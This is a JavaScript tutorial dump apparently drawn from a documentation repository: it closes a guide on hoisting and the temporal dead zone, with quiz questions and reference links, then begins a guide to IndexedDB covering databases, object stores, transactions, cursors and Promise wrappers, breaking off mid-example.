declaration was hoisted and is "shadowing" the outer `x` from the start of the block. <Warning> **Common Misconception:** Many tutorials say `let` and `const` are "not hoisted." This is incorrect. They ARE hoisted, but they remain uninitialized in the TDZ until their declaration is reached. </Warning> --- ## Function Declaration Hoisting [Function declarations](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/function) are fully hoisted. Both the name AND the function body are moved to the top of the scope. This is why you can call a function before its declaration: ```javascript // This works perfectly! sayHello("World") // "Hello, World!" function sayHello(name) { console.log(`Hello, ${name}!`) } ``` ### Function Declaration vs Function Expression This is a critical distinction: <Tabs> <Tab title="Function Declaration"> ```javascript // ✓ Works - function declarations are fully hoisted greet() // "Hello!" function greet() { console.log("Hello!") } ``` </Tab> <Tab title="Function Expression (var)"> ```javascript // ✗ TypeError - greet is undefined, not a function greet() // TypeError: greet is not a function var greet = function() { console.log("Hello!") } ``` With `var`, the variable `greet` is hoisted and initialized to `undefined`. Calling `undefined()` throws a TypeError. </Tab> <Tab title="Function Expression (let/const)"> ```javascript // ✗ ReferenceError - greet is in the TDZ greet() // ReferenceError: Cannot access 'greet' before initialization const greet = function() { console.log("Hello!") } ``` With `let`/`const`, the variable is in the TDZ, so we get a ReferenceError. </Tab> </Tabs> ### Arrow Functions Follow the Same Rules [Arrow functions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions) are always expressions, so they're never hoisted as functions: ```javascript // ✗ ReferenceError sayHi() // ReferenceError: Cannot access 'sayHi' before initialization const sayHi = () => { console.log("Hi!") } ``` <Tip> **Quick Rule:** If it uses the `function` keyword as a statement (not part of an expression), it's fully hoisted. If it's assigned to a variable, only the variable declaration is hoisted (following `var`/`let`/`const` rules). </Tip> --- ## Class Hoisting [Classes](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes) are hoisted similarly to `let` and `const`. They enter the TDZ and cannot be used before their declaration: ```javascript // ✗ ReferenceError const dog = new Animal("Buddy") // ReferenceError: Cannot access 'Animal' before initialization class Animal { constructor(name) { this.name = name } } ``` This applies to both class declarations and class expressions: ```javascript // Class declaration - TDZ applies new MyClass() // ReferenceError class MyClass {} // Class expression - follows variable hoisting rules new MyClass() // ReferenceError (const is in TDZ) const MyClass = class {} ``` --- ## Import Hoisting [Import declarations](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/import) are hoisted to the very top of their module. However, the imported module's code runs before your module's code: ```javascript // This works even though the import is "below" console.log(helper()) // Works! import { helper } from './utils.js' ``` <Note> While imports are hoisted, it's best practice to keep all imports at the top of your file for readability. Most linters and style guides enforce this. </Note> --- ## Hoisting Order and Precedence What happens when a variable and a function have the same name? There's a specific order of precedence: ### Function Declarations Win Over var ```javascript console.log(typeof myName) // "function" var myName = "Alice" function myName() { return "I'm a function!" } console.log(typeof myName) // "string" ``` Here's what happens: 1. Both `var myName` and `function myName` are hoisted 2. Function declarations are hoisted AFTER variable declarations 3. So `function myName` overwrites the `undefined` from `var myName` 4. When execution reaches `var myName = "Alice"`, it reassigns to a string ### Multiple var Declarations Multiple `var` declarations of the same variable are merged into one: ```javascript var x = 1 var x = 2 var x = 3 console.log(x) // 3 ``` This is essentially the same as: ```javascript var x x = 1 x = 2 x = 3 ``` <Warning> `let` and `const` don't allow redeclaration. This code throws a `SyntaxError`: ```javascript let x = 1 let x = 2 // SyntaxError: Identifier 'x' has already been declared ``` </Warning> --- ## The #1 Hoisting Mistake The most common hoisting trap involves function expressions with `var`: ```javascript // What does this print? console.log(sum(2, 3)) var sum = function(a, b) { return a + b } ``` **Answer:** `TypeError: sum is not a function` ### Why This Happens ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ THE FUNCTION EXPRESSION TRAP │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ YOUR CODE: HOW JAVASCRIPT SEES IT: │ │ ────────── ────────────────────── │ │ │ │ console.log(sum(2, 3)) var sum; // undefined │ │ console.log(sum(2, 3)) // Error! │ │ var sum = function(a, b) { sum = function(a, b) { │ │ return a + b return a + b │ │ } } │ │ │ │ When sum(2, 3) is called, sum is undefined. │ │ Calling undefined(2, 3) throws TypeError! │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` ### The Fix: Use Function Declarations If you need to call a function before its definition, use a function declaration: ```javascript // ✓ This works console.log(sum(2, 3)) // 5 function sum(a, b) { return a + b } ``` Or, declare your function expressions at the top: ```javascript // ✓ Define first, use later const sum = function(a, b) { return a + b } console.log(sum(2, 3)) // 5 ``` --- ## Why Does Hoisting Exist? You might wonder why JavaScript has this seemingly confusing behavior. There are historical and practical reasons: ### 1. Mutual Recursion Hoisting enables functions to call each other regardless of declaration order: ```javascript function isEven(n) { if (n === 0) return true return isOdd(n - 1) // Can call isOdd before it's defined } function isOdd(n) { if (n === 0) return false return isEven(n - 1) // Can call isEven } console.log(isEven(4)) // true console.log(isOdd(3)) // true ``` Without hoisting, you'd need to carefully order all function declarations or use forward declarations like in C. ### 2. Two-Phase Execution [JavaScript engines](/concepts/javascript-engines) process code in two phases: <Steps> <Step title="Compilation Phase"> The engine scans the code and registers all declarations in memory. Variables are created but not assigned values (except functions, which are fully created). </Step> <Step title="Execution Phase"> The engine runs the code line by line, assigning values to variables and executing statements. </Step> </Steps> This two-phase approach is why hoisting exists. It's a natural consequence of how JavaScript is parsed and executed. --- ## Best Practices <AccordionGroup> <Accordion title="1. Declare variables at the top of their scope"> Even though hoisting will move declarations anyway, putting them at the top makes your code clearer and easier to understand: ```javascript function processUser(user) { // All declarations at the top const name = user.name const email = user.email let isValid = false // Logic follows if (name && email) { isValid = true } return isValid } ``` </Accordion> <Accordion title="2. Prefer const > let > var"> Use `const` by default, `let` when you need to reassign, and avoid `var` entirely: ```javascript // ✓ Good const API_URL = 'https://api.example.com' let currentUser = null // ✗ Avoid var counter = 0 ``` `const` and `let` have more predictable scoping and the TDZ catches bugs early. The State of JS 2023 survey shows that over 93% of developers now regularly use `const` and `let`, reflecting a strong industry shift away from `var`. </Accordion> <Accordion title="3. Use function declarations for named functions"> Function declarations are hoisted fully and make your intent clear: ```javascript // ✓ Clear intent, fully hoisted function calculateTotal(items) { return items.reduce((sum, item) => sum + item.price, 0) } // ✓ Also fine - but define before use const calculateTax = (amount) => amount * 0.1 ``` </Accordion> <Accordion title="4. Keep imports at the top"> Even though imports are hoisted, keep them at the top for readability: ```javascript // ✓ Good - imports at top import { useState, useEffect } from 'react' import { fetchUser } from './api' function UserProfile() { // Component code } ``` </Accordion> <Accordion title="5. Don't rely on hoisting for variable values"> Just because `var` lets you access variables before declaration doesn't mean you should: ```javascript // ✗ Bad - confusing, relies on hoisting function bad() { console.log(x) // undefined - works but confusing var x = 5 } // ✓ Good - clear and predictable function good() { const x = 5 console.log(x) // 5 } ``` </Accordion> </AccordionGroup> --- ## Key Takeaways <Info> **The key things to remember about Hoisting:** 1. **Hoisting is declaration movement** — JavaScript moves declarations to the top of their scope during compilation, but assignments stay in place 2. **`var` is hoisted and initialized to `undefined`** — You can access it before declaration, but the value is `undefined` 3. **`let` and `const` are hoisted into the TDZ** — They exist but throw `ReferenceError` if accessed before declaration 4. **Function declarations are fully hoisted** — Both the name and body are available before the declaration appears in code 5. **Function expressions follow variable rules** — A `var` function expression gives `TypeError`, a `let`/`const` expression gives `ReferenceError` 6. **Classes are hoisted with TDZ** — Like `let`/`const`, classes cannot be used before declaration 7. **Imports are hoisted to the top** — But module side effects execute before your code runs 8. **Functions beat variables** — When a function and `var` share a name, the function takes precedence initially 9. **TDZ exists to catch bugs** — It prevents confusing behavior where inner variables might accidentally use outer values 10. **Best practice: declare at the top** — Don't rely on hoisting for readability; put declarations where you use them </Info> --- ## Test Your Knowledge <AccordionGroup> <Accordion title="Question 1: What does this code output?"> ```javascript console.log(x) var x = 10 console.log(x) ``` **Answer:** ``` undefined 10 ``` The `var x` declaration is hoisted and initialized to `undefined`. The first `console.log` prints `undefined`. Then `x` is assigned `10`, and the second `console.log` prints `10`. </Accordion> <Accordion title="Question 2: What does this code output?"> ```javascript console.log(y) let y = 20 ``` **Answer:** ``` ReferenceError: Cannot access 'y' before initialization ``` `let` is hoisted but enters the Temporal Dead Zone. Accessing it before declaration throws a `ReferenceError`. </Accordion> <Accordion title="Question 3: What does this code output?"> ```javascript sayHi() var sayHi = function() { console.log("Hi!") } ``` **Answer:** ``` TypeError: sayHi is not a function ``` The `var sayHi` is hoisted and initialized to `undefined`. Calling `undefined()` throws a `TypeError`. </Accordion> <Accordion title="Question 4: What does this code output?"> ```javascript sayHello() function sayHello() { console.log("Hello!") } ``` **Answer:** ``` Hello! ``` Function declarations are fully hoisted. The entire function is available before its declaration in the code. </Accordion> <Accordion title="Question 5: What does this code output?"> ```javascript var a = 1 function a() { return 2 } console.log(typeof a) ``` **Answer:** ``` number ``` Both are hoisted, with the function declaration winning initially. But then `var a = 1` executes and reassigns `a` to the number `1`. So `typeof a` is `"number"`. </Accordion> <Accordion title="Question 6: Why does this throw an error?"> ```javascript const x = "outer" function test() { console.log(x) const x = "inner" } test() ``` **Answer:** This throws `ReferenceError: Cannot access 'x' before initialization`. Even though there's an outer `x`, the inner `const x` is hoisted within `test()` and creates a TDZ. The inner `x` shadows the outer `x` from the start of the function, so the `console.log(x)` tries to access the inner `x` which is still in the TDZ. This proves that `const` (and `let`) ARE hoisted; they just can't be accessed until initialized. </Accordion> </AccordionGroup> --- ## Frequently Asked Questions <AccordionGroup> <Accordion title="What is hoisting in JavaScript?"> Hoisting is JavaScript's default behavior of moving variable and function declarations to the top of their scope during the compilation phase. Only the declarations are hoisted, not the initializations. According to MDN, this means variables can appear to be used before they are declared. </Accordion> <Accordion title="Are let and const hoisted in JavaScript?"> Yes, `let` and `const` are hoisted, but they are not initialized. They enter the Temporal Dead Zone (TDZ) from the start of their block until the declaration is reached. Accessing them before initialization throws a `ReferenceError`, unlike `var` which returns `undefined`. </Accordion> <Accordion title="What is the difference between function declarations and function expressions in hoisting?"> Function declarations are fully hoisted — both the name and the body are available before the declaration appears in code. Function expressions follow variable hoisting rules: a `var` function expression is hoisted as `undefined`, while a `let`/`const` expression enters the TDZ. The ECMAScript specification treats function declarations differently because they are instantiated during environment setup. </Accordion> <Accordion title="Does JavaScript physically move code during hoisting?"> No. Hoisting is a conceptual model describing observable behavior. The ECMAScript specification does not use the term "hoisting." Instead, JavaScript engines process declarations during a compilation phase before executing code, creating the effect of declarations being "moved" to the top. </Accordion> <Accordion title="Why does var return undefined instead of throwing an error before declaration?"> When a `var` variable is hoisted, it is immediately initialized to `undefined`. This was a design choice in early JavaScript (1995) to be forgiving to developers. Modern `let` and `const` fixed this by introducing the TDZ, which catches accidental use of uninitialized variables with a `ReferenceError`. </Accordion> </AccordionGroup> --- ## Related Concepts <CardGroup cols={2}> <Card title="Scope and Closures" icon="box" href="/concepts/scope-and-closures"> Understanding scope is essential to understanding hoisting </Card> <Card title="Temporal Dead Zone" icon="clock" href="/beyond/concepts/temporal-dead-zone"> Deep dive into the TDZ and its edge cases </Card> <Card title="Call Stack" icon="layer-group" href="/concepts/call-stack"> How JavaScript tracks execution context </Card> <Card title="JavaScript Engines" icon="microchip" href="/concepts/javascript-engines"> How engines parse and execute JavaScript code </Card> </CardGroup> --- ## Reference <CardGroup cols={2}> <Card title="Hoisting — MDN Glossary" icon="book" href="https://developer.mozilla.org/en-US/docs/Glossary/Hoisting"> Official MDN glossary entry explaining hoisting behavior </Card> <Card title="var — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/var"> Reference for var hoisting and function scope </Card> <Card title="let — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/let"> Reference for let, block scope, and the Temporal Dead Zone </Card> <Card title="const — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/const"> Reference for const declarations and TDZ behavior </Card> <Card title="function — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/function"> Reference for function declarations and hoisting </Card> <Card title="Grammar and Types — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Grammar_and_types#variable_hoisting"> MDN guide section on variable hoisting </Card> </CardGroup> --- ## Articles <CardGroup cols={2}> <Card title="JavaScript Hoisting — javascript.info" icon="newspaper" href="https://javascript.info/var#var-variables-can-be-declared-below-their-use"> Clear explanation of var hoisting with excellent diagrams. Part of the comprehensive javascript.info tutorial series. </Card> <Card title="Understanding Hoisting in JavaScript — DigitalOcean" icon="newspaper" href="https://www.digitalocean.com/community/tutorials/understanding-hoisting-in-javascript"> Thorough tutorial covering all hoisting scenarios with practical examples. Great for understanding the execution context. </Card> <Card title="JavaScript Visualized: Hoisting — Lydia Hallie" icon="newspaper" href="https://dev.to/lydiahallie/javascript-visualized-hoisting-478h"> Animated GIFs showing exactly how hoisting works. This visual approach makes the concept click for visual learners. </Card> <Card title="A guide to JavaScript variable hoisting — freeCodeCamp" icon="newspaper" href="https://www.freecodecamp.org/news/what-is-variable-hoisting-differentiating-between-var-let-and-const-in-es6-f1a70bb43d"> Beginner-friendly guide comparing var, let, and const hoisting with clear code examples. </Card> </CardGroup> --- ## Videos <CardGroup cols={2}> <Card title="Hoisting in JavaScript — Namaste JavaScript" icon="video" href="https://www.youtube.com/watch?v=Fnlnw8uY6jo"> Akshay Saini's detailed explanation with execution context visualization. Part of the popular Namaste JavaScript series. </Card> <Card title="JavaScript Hoisting Explained — Web Dev Simplified" icon="video" href="https://www.youtube.com/watch?v=EvfRXyKa_GI"> Kyle Cook's concise, beginner-friendly explanation covering all the key hoisting concepts in under 10 minutes. </Card> <Card title="Differences Between Var, Let, and Const — Fireship" icon="video" href="https://www.youtube.com/watch?v=9WIJQDvt4Us"> Quick, entertaining comparison of variable declarations including hoisting behavior. Perfect for a fast refresher. </Card> </CardGroup> ================================================ FILE: docs/beyond/concepts/indexeddb.mdx ================================================ --- title: "IndexedDB in JavaScript" sidebarTitle: "IndexedDB: Client-Side Database Storage" description: "Learn IndexedDB for client-side storage in JavaScript. Store structured data, create indexes, perform transactions, and build offline-capable apps." "og:type": "article" "article:author": "Leonardo Maldonado" "article:section": "Browser Storage" "article:tag": "indexeddb, client-side database, structured data, transactions, offline storage" --- What happens when localStorage's 5MB limit isn't enough? How do you store thousands of records, search them efficiently, or keep an app working offline with real data? Meet **IndexedDB** — a full database built into every modern browser. Unlike localStorage's simple key-value pairs, IndexedDB lets you store massive amounts of structured data, create indexes for fast lookups, and run transactions that keep your data consistent. ```javascript // Store and retrieve complex data with IndexedDB const request = indexedDB.open('MyApp', 1) request.onupgradeneeded = (event) => { const db = event.target.result const store = db.createObjectStore('users', { keyPath: 'id' }) store.createIndex('email', 'email', { unique: true }) } request.onsuccess = (event) => { const db = event.target.result const tx = db.transaction('users', 'readwrite') tx.objectStore('users').add({ id: 1, name: 'Alice', email: 'alice@example.com' }) } ``` IndexedDB is the backbone of offline-first applications, Progressive Web Apps (PWAs), and any app that needs to work without a network connection. According to Can I Use, IndexedDB has over 96% global browser support. It's more complex than localStorage, but far more powerful. <Info> **What you'll learn in this guide:** - What IndexedDB is and when to use it instead of localStorage - How to open databases and handle versioning - Creating object stores and indexes for your data - Performing CRUD operations within transactions - Iterating over data with cursors - Using Promise wrappers for cleaner async code - Real-world patterns for offline-capable applications </Info> <Warning> **Prerequisite:** IndexedDB is heavily asynchronous. This guide assumes you're comfortable with [Promises](/concepts/promises) and [async/await](/concepts/async-await). If those concepts are fuzzy, read those guides first! </Warning> --- ## What is IndexedDB? **IndexedDB** is a low-level browser API for storing large amounts of structured data on the client side. As MDN documents, it's a transactional, NoSQL database that uses object stores (similar to tables) to organize data, supports indexes for efficient queries, and can store almost any JavaScript value including objects, arrays, files, and blobs. Think of IndexedDB as a real database that lives in the browser. While [localStorage](https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage) gives you a simple string-only key-value store with ~5MB limit, IndexedDB can store gigabytes of structured data with proper querying capabilities. ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ BROWSER STORAGE COMPARISON │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ localStorage IndexedDB │ │ ───────────── ───────── │ │ │ │ ┌─────────────────┐ ┌─────────────────────────────────┐ │ │ │ key: "user" │ │ Database: "MyApp" │ │ │ │ value: "{...}" │ │ ┌───────────────────────────┐ │ │ │ │ │ │ │ Object Store: "users" │ │ │ │ │ key: "theme" │ │ │ ├─ id: 1, name: "Alice" │ │ │ │ │ value: "dark" │ │ │ ├─ id: 2, name: "Bob" │ │ │ │ └─────────────────┘ │ │ └─ (thousands more...) │ │ │ │ │ │ │ │ │ │ • ~5MB limit │ │ Indexes: email, role │ │ │ │ • Strings only │ └───────────────────────────┘ │ │ │ • Synchronous │ ┌───────────────────────────┐ │ │ │ • No querying │ │ Object Store: "posts" │ │ │ │ │ │ ├─ (structured data) │ │ │ │ │ └───────────────────────────┘ │ │ │ └─────────────────────────────────┘ │ │ │ │ • Gigabytes of storage │ │ • Any JS value (objects, blobs) │ │ • Asynchronous │ │ • Indexed queries │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` <CardGroup cols={2}> <Card title="IndexedDB API — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API"> The official MDN landing page covering all IndexedDB interfaces including IDBDatabase, IDBTransaction, and IDBObjectStore </Card> <Card title="Storage Quotas — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/Storage_API/Storage_quotas_and_eviction_criteria"> How browsers allocate storage space and when data gets evicted </Card> </CardGroup> --- ## The Filing Cabinet Analogy Imagine your browser has a filing cabinet for each website you visit. **localStorage** is like a single drawer with sticky notes — quick and simple, but limited. You can only store short text messages, and there's not much room. **IndexedDB** is like having an entire filing cabinet system with multiple drawers (object stores), folders within each drawer (indexes), and the ability to store complete documents, photos, or any type of file. ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ THE FILING CABINET ANALOGY │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ DATABASE = Filing Cabinet │ │ ┌──────────────────────────────────────────────────────────────────┐ │ │ │ │ │ │ │ OBJECT STORE = Drawer OBJECT STORE = Drawer │ │ │ │ ┌─────────────────────┐ ┌─────────────────────┐ │ │ │ │ │ "users" │ │ "products" │ │ │ │ │ │ ┌───────────────┐ │ │ ┌───────────────┐ │ │ │ │ │ │ │ Record │ │ │ │ Record │ │ │ │ │ │ │ │ id: 1 │ │ │ │ sku: "A001" │ │ │ │ │ │ │ │ name: "Alice" │ │ │ │ name: "Widget"│ │ │ │ │ │ │ │ email: "..." │ │ │ │ price: 29.99 │ │ │ │ │ │ │ └───────────────┘ │ │ └───────────────┘ │ │ │ │ │ │ ┌───────────────┐ │ │ ┌───────────────┐ │ │ │ │ │ │ │ Record │ │ │ │ Record │ │ │ │ │ │ │ │ id: 2 │ │ │ │ sku: "B002" │ │ │ │ │ │ │ │ name: "Bob" │ │ │ │ ... │ │ │ │ │ │ │ └───────────────┘ │ │ └───────────────┘ │ │ │ │ │ │ │ │ │ │ │ │ │ │ INDEX: "email" │ │ INDEX: "price" │ │ │ │ │ │ (sorted labels) │ │ (sorted labels) │ │ │ │ │ └─────────────────────┘ └─────────────────────┘ │ │ │ │ │ │ │ └──────────────────────────────────────────────────────────────────┘ │ │ │ │ KEY = The label on each folder (how you find records) │ │ INDEX = Alphabetical tabs that let you find folders by other fields │ │ TRANSACTION = Checking out folders (ensures nobody else modifies them) │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` Just like a real filing system: - You open the **cabinet** (database) before accessing anything - You pull out a **drawer** (object store) to work with specific types of records - You use **labels** (keys) to identify individual folders - You use **alphabetical tabs** (indexes) to find folders by different criteria - You **check out** folders (transactions) so no one else modifies them while you're working --- ## Opening a Database Before you can store or retrieve data, you need to open a connection to a database. If the database doesn't exist, IndexedDB creates it for you. ```javascript // Open (or create) a database named "MyApp" at version 1 const request = indexedDB.open('MyApp', 1) // This fires if the database needs to be created or upgraded request.onupgradeneeded = (event) => { const db = event.target.result console.log('Database created or upgraded!') } // This fires when the database is ready to use request.onsuccess = (event) => { const db = event.target.result console.log('Database opened successfully!') } // This fires if something goes wrong request.onerror = (event) => { console.error('Error opening database:', event.target.error) } ``` Notice that IndexedDB uses an **event-based pattern** rather than Promises. The [`indexedDB.open()`](https://developer.mozilla.org/en-US/docs/Web/API/IDBFactory/open) method returns a request object, and you attach event handlers to it. ### Database Versioning The second argument to `open()` is the **version number**. This is how IndexedDB handles schema migrations: ```javascript // First time: create the database at version 1 const request = indexedDB.open('MyApp', 1) request.onupgradeneeded = (event) => { const db = event.target.result // Create object stores only in onupgradeneeded if (!db.objectStoreNames.contains('users')) { db.createObjectStore('users', { keyPath: 'id' }) } } ``` When you need to change the schema (add a new store, add an index), you increment the version: ```javascript // Later: upgrade to version 2 const request = indexedDB.open('MyApp', 2) request.onupgradeneeded = (event) => { const db = event.target.result const oldVersion = event.oldVersion // Run migrations based on the old version if (oldVersion < 1) { db.createObjectStore('users', { keyPath: 'id' }) } if (oldVersion < 2) { db.createObjectStore('posts', { keyPath: 'id' }) } } ``` <Warning> **The Version Rule:** You can only create or modify object stores inside the `onupgradeneeded` event. Trying to create a store elsewhere throws an error. Always increment the version number when you need to change the database structure. </Warning> --- ## Object Stores and Keys An **object store** is like a table in a traditional database. It holds a collection of records, and each record must have a unique key. ### Creating Object Stores You create object stores inside `onupgradeneeded`: ```javascript request.onupgradeneeded = (event) => { const db = event.target.result // Option 1: Use a property from the object as the key (keyPath) const usersStore = db.createObjectStore('users', { keyPath: 'id' }) // Records must have an 'id' property: { id: 1, name: 'Alice' } // Option 2: Auto-generate keys const logsStore = db.createObjectStore('logs', { autoIncrement: true }) // Keys are generated automatically: 1, 2, 3, ... // Option 3: Both - auto-increment and store the key in the object const postsStore = db.createObjectStore('posts', { keyPath: 'id', autoIncrement: true }) // Key is auto-generated AND stored in the 'id' property } ``` ### Creating Indexes **Indexes** let you query records by fields other than the primary key: ```javascript request.onupgradeneeded = (event) => { const db = event.target.result const store = db.createObjectStore('users', { keyPath: 'id' }) // Create an index on the 'email' field (must be unique) store.createIndex('email', 'email', { unique: true }) // Create an index on 'role' (not unique - many users can share a role) store.createIndex('role', 'role', { unique: false }) } ``` Later, you can query by these indexes: ```javascript // Find a user by email (instead of by id) const index = store.index('email') const request = index.get('alice@example.com') ``` --- ## CRUD Operations All data operations in IndexedDB happen inside **transactions**. A transaction ensures that a group of operations either all succeed or all fail together. ### Creating (Add) ```javascript function addUser(db, user) { // 1. Start a transaction in 'readwrite' mode const tx = db.transaction('users', 'readwrite') // 2. Get the object store const store = tx.objectStore('users') // 3. Add the data const request = store.add(user) request.onsuccess = () => { console.log('User added with id:', request.result) } request.onerror = () => { console.error('Error adding user:', request.error) } } // Usage addUser(db, { id: 1, name: 'Alice', email: 'alice@example.com' }) ``` <Tip> **add() vs put():** Use `add()` when inserting new records. It fails if a record with the same key already exists. Use `put()` when you want to insert OR update. It overwrites existing records. </Tip> ### Reading (Get) ```javascript function getUser(db, id) { const tx = db.transaction('users', 'readonly') const store = tx.objectStore('users') const request = store.get(id) request.onsuccess = () => { if (request.result) { console.log('Found user:', request.result) } else { console.log('User not found') } } } // Get all records function getAllUsers(db) { const tx = db.transaction('users', 'readonly') const store = tx.objectStore('users') const request = store.getAll() request.onsuccess = () => { console.log('All users:', request.result) // Array of all user objects } } ``` ### Updating (Put) ```javascript function updateUser(db, user) { const tx = db.transaction('users', 'readwrite') const store = tx.objectStore('users') // put() updates if exists, inserts if not const request = store.put(user) request.onsuccess = () => { console.log('User updated') } } // Usage - update Alice's email updateUser(db, { id: 1, name: 'Alice', email: 'alice.new@example.com' }) ``` ### Deleting ```javascript function deleteUser(db, id) { const tx = db.transaction('users', 'readwrite') const store = tx.objectStore('users') const request = store.delete(id) request.onsuccess = () => { console.log('User deleted') } } // Delete all records function clearAllUsers(db) { const tx = db.transaction('users', 'readwrite') const store = tx.objectStore('users') store.clear() } ``` --- ## Understanding Transactions Transactions are a critical concept in IndexedDB. They ensure data integrity by grouping operations together. ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ TRANSACTION LIFECYCLE │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ 1. CREATE 2. EXECUTE 3. COMPLETE │ │ ───────── ───────── ───────── │ │ │ │ const tx = db store.add(...) tx.oncomplete │ │ .transaction( store.put(...) All changes saved! │ │ 'users', store.delete(...) │ │ 'readwrite' ↓ tx.onerror │ │ ) (all or nothing) All changes rolled │ │ back! │ │ │ │ Transaction Modes: │ │ ───────────────── │ │ 'readonly' - Only reading data (faster, can run in parallel) │ │ 'readwrite' - Reading and writing (locks the store) │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` ### Transaction Auto-Commit Transactions automatically commit when there are no more pending requests: ```javascript const tx = db.transaction('users', 'readwrite') const store = tx.objectStore('users') store.add({ id: 1, name: 'Alice' }) store.add({ id: 2, name: 'Bob' }) // Transaction auto-commits after both adds complete tx.oncomplete = () => { console.log('Both users saved!') } ``` ### The Transaction Timing Trap Here's a common mistake. Transactions auto-commit quickly, so you can't do async work in the middle: ```javascript // ❌ WRONG - Transaction will close before fetch completes const tx = db.transaction('users', 'readwrite') const store = tx.objectStore('users') const response = await fetch('/api/user') // Network request const user = await response.json() store.add(user) // ERROR: Transaction is no longer active! ``` ```javascript // ✓ CORRECT - Fetch first, then use IndexedDB const response = await fetch('/api/user') const user = await response.json() const tx = db.transaction('users', 'readwrite') const store = tx.objectStore('users') store.add(user) // Works! ``` <Warning> **The Auto-Commit Rule:** Transactions close automatically after the current JavaScript "tick" if there are no pending requests. Never put `await` calls to external APIs inside a transaction. Fetch your data first, then write to IndexedDB. </Warning> --- ## Iterating with Cursors When you need to process records one at a time (instead of loading everything into memory), use a **cursor**: ```javascript function iterateUsers(db) { const tx = db.transaction('users', 'readonly') const store = tx.objectStore('users') const request = store.openCursor() request.onsuccess = (event) => { const cursor = event.target.result if (cursor) { // Process the current record console.log('Key:', cursor.key, 'Value:', cursor.value) // Move to the next record cursor.continue() } else { // No more records console.log('Done iterating') } } } ``` ### Cursor with Key Ranges You can limit which records the cursor visits using [`IDBKeyRange`](https://developer.mozilla.org/en-US/docs/Web/API/IDBKeyRange): ```javascript function getUsersInRange(db, minId, maxId) { const tx = db.transaction('users', 'readonly') const store = tx.objectStore('users') // Only iterate over keys between minId and maxId const range = IDBKeyRange.bound(minId, maxId) const request = store.openCursor(range) request.onsuccess = (event) => { const cursor = event.target.result if (cursor) { console.log(cursor.value) cursor.continue() } } } // Other key range options: IDBKeyRange.only(5) // Only key === 5 IDBKeyRange.lowerBound(5) // key >= 5 IDBKeyRange.upperBound(10) // key <= 10 IDBKeyRange.bound(5, 10) // 5 <= key <= 10 IDBKeyRange.bound(5, 10, true, false) // 5 < key <= 10 ``` --- ## Using Promise Wrappers The callback-based API can get messy. Most developers use a Promise wrapper library. The most popular is **idb** by Jake Archibald, a Chrome engineer whose library weighs only ~1.2kB and has been recommended by Google's web.dev team: ```javascript // Using the idb library (https://github.com/jakearchibald/idb) import { openDB } from 'idb' async function demo() { // Open database with Promises const db = await openDB('MyApp', 1, { upgrade(db) { db.createObjectStore('users', { keyPath: 'id' }) } }) // Add a user await db.add('users', { id: 1, name: 'Alice' }) // Get a user const user = await db.get('users', 1) console.log(user) // { id: 1, name: 'Alice' } // Get all users const allUsers = await db.getAll('users') // Update await db.put('users', { id: 1, name: 'Alice Updated' }) // Delete await db.delete('users', 1) } ``` <Tip> **The idb Advantage:** The idb library (~1.2kB) wraps IndexedDB's event-based API with Promises, making it work beautifully with async/await. It's the recommended way to use IndexedDB in modern applications. </Tip> ### Building Your Own Wrapper If you prefer not to add a dependency, here's a simple helper pattern: ```javascript // Promisify an IDBRequest function promisifyRequest(request) { return new Promise((resolve, reject) => { request.onsuccess = () => resolve(request.result) request.onerror = () => reject(request.error) }) } // Promisify opening a database function openDatabase(name, version, onUpgrade) { return new Promise((resolve, reject) => { const request = indexedDB.open(name, version) request.onupgradeneeded = (event) => onUpgrade(event.target.result) request.onsuccess = () => resolve(request.result) request.onerror = () => reject(request.error) }) } // Usage async function demo() { const db = await openDatabase('MyApp', 1, (db) => { db.createObjectStore('users', { keyPath: 'id' }) }) const tx = db.transaction('users', 'readwrite') const store = tx.objectStore('users') await promisifyRequest(store.add({ id: 1, name: 'Alice' })) const user = await promisifyRequest(store.get(1)) console.log(user) } ``` --- ## IndexedDB vs Other Storage Options When should you use IndexedDB instead of other browser storage options? | Feature | localStorage | sessionStorage | IndexedDB | Cookies | |---------|-------------|----------------|-----------|---------| | **Storage Limit** | ~5MB | ~5MB | Gigabytes | ~4KB | | **Data Types** | Strings only | Strings only | Any JS value | Strings only | | **Async** | No (blocks UI) | No (blocks UI) | Yes | No | | **Queryable** | No | No | Yes (indexes) | No | | **Transactions** | No | No | Yes | No | | **Persists** | Until cleared | Until tab closes | Until cleared | Configurable | | **Accessible from Workers** | No | No | Yes | No | ### When to Use IndexedDB <AccordionGroup> <Accordion title="Offline-First Applications"> IndexedDB is the foundation of offline-capable apps. Store data locally so users can work without a network connection, then sync when they're back online. ```javascript // Cache API responses for offline use async function fetchWithCache(url) { const db = await openDB('cache', 1) // Try to get from cache first const cached = await db.get('responses', url) if (cached && !isStale(cached)) { return cached.data } // Fetch from network const response = await fetch(url) const data = await response.json() // Store in cache for next time await db.put('responses', { url, data, timestamp: Date.now() }) return data } ``` </Accordion> <Accordion title="Large Datasets"> When you have thousands of records that would exceed localStorage's 5MB limit, IndexedDB can handle it. ```javascript // Store a large product catalog locally async function cacheProductCatalog(products) { const db = await 